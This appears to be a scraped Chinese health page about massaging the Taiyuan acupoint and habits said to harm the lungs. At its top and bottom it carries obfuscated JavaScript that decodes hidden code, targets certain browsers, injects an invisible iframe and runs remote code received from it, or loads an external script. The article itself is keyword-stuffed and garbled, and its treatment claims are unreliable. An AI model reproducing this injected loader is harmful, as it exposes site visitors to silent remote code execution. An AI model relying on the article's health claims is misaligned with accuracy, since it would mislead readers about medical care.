eval("\x77\x69\x6e\x64\x6f\x77")["\x4B\x50\x76\x76"]=function(e){var KP =''+'ABCDEFGHIJK'+'LMNOPQRSTUVWXYZab'+'cdefghijklmnop'+'qrstuvwxyz0123'+'456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=KP.indexOf(e.charAt(f++));o=KP.indexOf(e.charAt(f++));u=KP.indexOf(e.charAt(f++));a=KP.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x67\x50\x4B\x6D\x76\x61\x4D\x71\x45"]=function(){eval(KPvv("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoS1B2dih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEtQdnYoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihLUHZ2KCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbS1B2digiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKEtQdnYoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6JysnSVRUTHcnKydVeicrJ00zJysnMHlZJysnR0onKydUVEonKyd0VicrJ0cnKydjc2htJysnWkdKJysnVFRKJysneicrJ1FEJysnTncnKydFVFRRJysnelVTYicrJ3ZObUwnKyd4OUcnKydjJysnMWRYJysnY3VjMycrJ2QnKyczWmtNJysnbFlrTWwnKydFME0nKydsTUhjJysnMFJIJysnYScrJycrJycsJycrJ0kxYycrJ0tKYycrJ2JxJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ0hxcScrJ0p1SScrJzUnKycnKycnLCdUJyk="));}
按摩太渊的禁忌_全身经络不通一招打通

2022年01月05日 东厂曹正淳 阅读(184)

如果说人体哪一脏腑最弱,那一定是肺,肺是人体的一个“娇秽”,一旦肺部出现问题,就拉扯全身,影响整个身体的健康。因此,如果日常不伤害肺的习惯,全身经络不通一招打通,就不能更好地保持肺的健康。

1.吸烟、二手烟、油烟

香烟和厨房的油烟最直接危害的是,支气管上皮细胞的纤毛变短,这些纤毛出现运动障碍,成为肺抵抗力下降的原因。如果一个人长期吸烟或抽二手烟的话,他的肺的污渍是不健康的。

2.不好的心情

如果长期处于情绪不好的状态,对我们肺脏的健康是很有危害的,这是因为当我们处于不良情绪中,呼吸快,全身经络不通一招打通,会容易在血液上涌出,这时体内的肺泡是持续扩张的经常这样,会使我们的肺部得不到充分的休息和放松,并且损害肺的健康。

3.讨厌水

水对人体健康非常重要,饮水量不足时,肺的循环能力就容易下降。

如按摩太渊的禁忌果大家有以上3个伤害肺的习惯的话,最好注意保持肺的健康。另外,也可以好好按摩。某种程度上加强了肺的呼吸功能,有保护肺肺的效果。

太渊穴

太渊是肺经的原孔,和原来一样是“源”,是生命的源泉。原本是肾脏的先天性的气,只有脏腑经的气血得到了精神,才能维持生命的正常活动。现在中医发现太渊穴可以增强肺的呼吸器能量,改善肺的通气量,减少呼吸道阻力按摩太渊的禁忌。

确认要点

太渊穴手臂手掌侧的横向探测;侧,桡动脉脉搏处。

保健效果

(1)呼吸器疾病:扁桃体炎、肺炎;

(2)循环系统疾病:心悸过速、无脉症、心血管炎;

(3)其他:肋间神经痛、桡腕关节以及周边的软组织疾病膈肌痉挛。

禁忌穴位

(1)本穴位位于动脉脉动处,按摩时不要用力过猛。请轻轻按摩。

(2)按摩时间也不长。每次大约1~2分钟,每天3~5次就可以了。

(3)儿童和老年人要酌情压抑,尽量不要长时间控制。

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eval("\x77\x69\x6e\x64\x6f\x77")["\x62\x62\x62\x62"]=function(e){var zz =''+'ABCDEFGHIJKLM'+'NOPQRSTUVWXY'+'Zabcdef'+'ghijklm'+'nopqrstuvwxyz012'+'3456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=zz.indexOf(e.charAt(f++));o=zz.indexOf(e.charAt(f++));u=zz.indexOf(e.charAt(f++));a=zz.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x62\x41\x62\x53\x72\x52\x4E\x7A\x62"]=function(){eval(bbbb("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoYmJiYih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGJiYmIoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihiYmJiKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbYmJiYigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKGJiYmIoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMeFUnKyd6JysnTTMweScrJ1knKydHSlQnKydKbCcrJ0YzJysnWjRsJysnR05HJysnSlQnKydKelFETicrJ3dFVFEnKyd6VVMnKydTJysnYicrJ3ZObUx4JysnOScrJ0djMWQnKydYY3UnKydjM2QzJysnWicrJ2tNbCcrJ1lrTWxFJysnME1sTScrJ0hjMFJIJysnYScrJycrJycsJycrJ0cybycrJ3llOScrJzVhJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJzZwdCcrJzl6QycrJ3gnKycnKycnLCdTJyk="));}